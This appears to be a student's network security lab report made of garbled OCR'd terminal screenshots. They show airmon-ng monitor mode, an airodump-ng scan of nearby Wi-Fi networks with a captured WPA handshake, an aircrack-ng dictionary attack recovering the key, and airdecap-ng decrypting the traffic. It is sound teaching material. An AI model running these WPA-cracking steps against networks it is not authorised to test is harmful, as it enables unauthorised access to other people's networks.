Network Security Lab 18

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Network Security Lab 18

David Ayeke April 10. 2017

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🔞 🖨 👨 david@yogata: ~/Downloads/test
                                                        Aircrack-ng 1.2 beta3
                                [00:00:00] 234 keys tested (445.74 k/s)
                                            KEY FOUND! [ dictionary ]
                                   : 5D F9 20 B5 48 1E D7 05 38 DD 5F D0 24 23 D7 E2 52 22 05 FE EE BB 97 4C AD 08 A5 2B 56 13 ED E2
          Master Kev
          Transient Key : 1B 7B 26 96 03 F0 6C 6C D4 03 AA F6 AC E2 81 FC
                                       55 15 9A AF BB 3B 5A A8 69 05 13 73 5C 1C EC E0
                                       A2 15 4A E0 99 6F A9 5B 21 1D A1 8E 85 FD 96 49 5F B4 97 85 67 33 87 B9 DA 97 97 AA C7 82 8F 52
          EAPOL HMAC
                                   : 6D 45 F3 53 8E AD 8E CA 55 98 C2 60 EE FE 6F 51
david@yogata:~/Downloads/test$ ^C
 david@yogata:~/Downloads/test$ airdecap-ng -p dictionary dump-05.cap
You must also specify the ESSID (-e).
"airdecap-ng --help" for help.
david@yogata:~/Downloads/test$ airdecap-ng -e linksys -p dictionary dump-05.cap
Total number of packets read 3523
Total number of WEP data packets 0
Total number of WPA data packets 3424
Total number of WPA data packets 3424
Number of plaintext data packets 0
Number of decrypted WEP packets 0
Number of corrupted WEP packets 0
Number of decrypted WPA packets 0
david@yogata:~/Downloads/test$ airdecap-ng
Total number of packets read 587
Total number of WEP data packets 0
Total number of WPA data packets 57
                                                                        -e linksys -p dictionary wpa-psk-linksys.cap
Number of plaintext data packets
Number of decrypted WEP packets
Number of corrupted WEP packets
                                                                     0
                                                                     0
                                                                     0
Number of decrypted WPA packets
david@yogata:~/Downloads/test$ iwconfig
                                                                    53
                 IEEE 802.11abgn ESSID: "Pretty_Fly_For_A_WiFi"
Mode:Managed Frequency:2.412 GHz Access Point: A0:63:91:AB:F1:2C
Bit Rate=300 Mb/s Tx-Power=22 dBm
 wlp3s0
                 Retry short limit:7
Power Management:on
                                                     RTS thr:off
                                                                             Fragment thr:off
                 Link Quality=68/70 Signal level=-42 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:1 Invalid misc:83 Missed beacon:0
lo
                 no wireless extensions.
enp0s31f6 no wireless extensions.
mon0
                 IEEE 802.11abgn Mode:Monitor Tx-Power=0 dBm
                 Retry short limit:7
Power Management:on
                                                     RTS thr:off Fragment thr:off
 docker0
                no wireless extensions.
 david@yogata:~/Downloads/test$
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😑 😑 david@yogata: ~/Downloads/test
Number of decrypted WPA packets david@yogata:~/Downloads/test$ iwconfig
             IEEE 802.11abgn ESSID:"Pretty_Fly_For_A_WiFi"
Mode:Managed Frequency:2.412 GHz Access Point: A0:63:91:AB:F1:2C
wlp3s0
             Bit Rate=300 Mb/s Tx-Power=22 dBm
Retry short limit:7 RTS thr:off
Power Management:on
                                         RTS thr:off Fragment thr:off
             Link Quality=68/70 Signal level=-42 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
             Tx excessive retries:1 Invalid misc:83 Missed beacon:0
lo
             no wireless extensions.
enp0s31f6 no wireless extensions.
             IEEE 802.11abgn Mode:Monitor Tx-Power=0 dBm
Retry short limit:7 RTS thr:off Fragment to
Power Management:on
mon0
                                        RTS thr:off Fragment thr:off
docker0
            no wireless extensions.
david@yogata:~/Downloads/test$ history | grep airmon
 2012
                 ı-ng
 2013
        sudo
                       n-ng
 2016*
 2017 sudo
                       ı-ng start wlp3s0
                       n-ng start wlp3s0
n-ng start wlp3s0
 2027
        sudo
 2058
        sudo
 2067
        sudo
                       n-ng stop mon2
 2069
        sudo
                       n-ng stop mon1
 2075
        sudo
                       n-ng stop mon0
                       n-ng stop wlp3s0
n-ng stop wlp3s0
 2076
        sudo
 2080
        sudo
 2081
        sudo a
                       n-ng start wlp3s0
2154 history | grep airmon david@yogata:~/Downloads/test$ !2081
sudo airmon-ng start wlp3s0
[sudo] password for david:
Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID
          Name
          avahi-daemon
799
824
          avahi-daemon
846
          NetworkManager
          wpa_supplicant
dhclient
1182
5745
Process with PID 5745 (dhclient) is running on interface wlp3s0
Interface
                     Chipset
                                          Driver
wlp3s0
                     Intel AC
                                          iwlwifi - [phy0]
                                          (monitor mode enabled on mon1)
                                          iwlwifi - [phy0]
                     Intel AC
mon0
david@yogata:~/Downloads/test$
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TX packets:3580399 errors:0 dropped:0 overruns:0 carrier:0

RX bytes:14451413020 (14.4 GB) TX bytes:2289680701 (2.2 GB)

collisions:0 txqueuelen:1000

david@yogata:~/Downloads/test\$

6. Use *a*:

wpa-psk-linksys.

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😰 🖃 💷 david@yogata: ~/Downloads/test
CH 6 ][ Elapsed: 16 s ][ 2017-04-10 08:25 ][ WPA handshake: A0:63:91:AB:F1:2C
BSSID
                                       #Data, #/s CH MB ENC CIPHER AUTH ESSID
                     PWR Beacons
                                                                                  MyCharterWiFi0d-2G
Pretty_Fly_For_A_WiFi
Tell_My_WiFi_Love_Her
MyCharterWiFi0d-5G
ATT5P3u9t4
A0:63:91:38:C1:0D
                     -41
                                            0
                                                 0
                                                      б
                                                         54e
                                                               WPA2 CCMP
                                                                             PSK
                                 1
                                                         54e. WPA2 CCMP
                                                                            PSK
PSK
                     - 50
- 53
A0:63:91:AB:F1:2C
                                  2
3
                                         214
                                                 9
A0:63:91:AB:F1:2E
                                                 0 161
                                                         54e
                                                               WPA2 CCMP
A0:63:91:38:C1:0C
                     - 54
                                  0
                                                 0
                                                         54e
                                                               WPA2 CCMP
                                                                             PSK
10:05:B1:08:D2:A0
                     - 58
                                 0
                                            0
                                                    11
                                                         54e
                                                               WPA2 CCMP
                                                                             PSK
                                                 0
                                                                                  Kick Mr Huang's ass
dlink
E4:D3:32:B6:AD:FA
                                 0
                                                 0
                                                         54e. WPA2 CCMP
                                                                            PSK
                     - 70
                                                                            PSK
AC:F1:DF:CB:34:84
                     - 70
                                 0
                                            0
                                                 0
                                                         54e. WPA2 CCMP
E8:33:81:0C:7B:50
                     -71
                                            0
                                                         54e WPA2 CCMP
                                                                             PSK
                                                                                  ICECUBE
                                                 Rate
BSSID
                     STATION
                                           PWR
                                                                   Frames Probe
                                                           Lost
A0:63:91:AB:F1:2C A4:34:D9:2A:50:62
                                                  0e- 0e
                                                             207
                                                                       240
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🔊 🖨 💷 david@yogata: ~/Downloads/test
                                                                                       Aircrack-ng 1.2 beta3
                                                   [00:00:00] 234 keys tested (860.88 k/s)
                                                                     KEY FOUND! [ dictionary ]
                                                       : 5D F9 20 B5 48 1E D7 05 38 DD 5F D0 24 23 D7 E2 52 22 05 FE EE BB 97 4C AD 08 A5 2B 56 13 ED E2
                 Master Key
                Transient Key : 1B 7B 26 96 03 F0 6C 6C D4 03 AA F6 AC E2 81 FC 55 15 9A AF BB 3B 5A A8 69 05 13 73 5C 1C EC E0 A2 15 4A E0 99 6F A9 5B 21 1D A1 8E 85 FD 96 49 5F B4 97 85 67 33 87 B9 DA 97 97 AA C7 82 8F 52
EAPOL HMAC : 6D 45 F3 53 8E AD 8E CA 55 98 C2 60 EE FE 6F 51

david@yogata:~/Downloads/test$ airdecap-ng -e linksys -p dictionary dump-07.cap

Total number of packets read 587

Total number of WEP data packets 0

Total number of WPA data packets 57

Number of plaintext data packets 0

Number of decrypted WEP packets 0

Number of corrupted WEP packets 0

Number of decrypted WPA packets 53

david@yogata:~/Downloads/test$
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